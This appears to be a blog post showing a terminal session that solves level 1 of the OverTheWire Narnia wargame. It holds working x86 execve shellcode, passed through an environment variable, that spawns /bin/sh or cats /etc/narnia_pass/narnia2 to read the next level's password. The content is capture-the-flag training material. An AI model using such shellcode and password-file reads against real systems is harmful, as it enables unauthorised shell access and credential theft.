# cat mycat.asm
# nasm -f elf mycat.asm && ld -o mycat mycat.o
# od2sc mycat
# ssh narnia1@narnia.labs.overthewire.org
65666569646965646165
narnia1@melissa$ file /narnia/narnia1
narnia1@melissa$ cat /narnia/narnia1.c
narnia1@melissa$ export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x6e\x69\x61\x32\x68\x2f\x6e\x61\x72\x68\x70\x61\x73\x73\x68\x6e\x69\x61\x5f\x68\x2f\x6e\x61\x72\x68\x2f\x65\x74\x63\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80"'`
narnia1@melissa$ /narnia/narnia1
narnia1@melissa$ export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
narnia1@melissa$ /narnia/narnia1
$ /usr/bin/whoami
$ /bin/cat /etc/narnia_pass/narnia2
No comments:
Post a Comment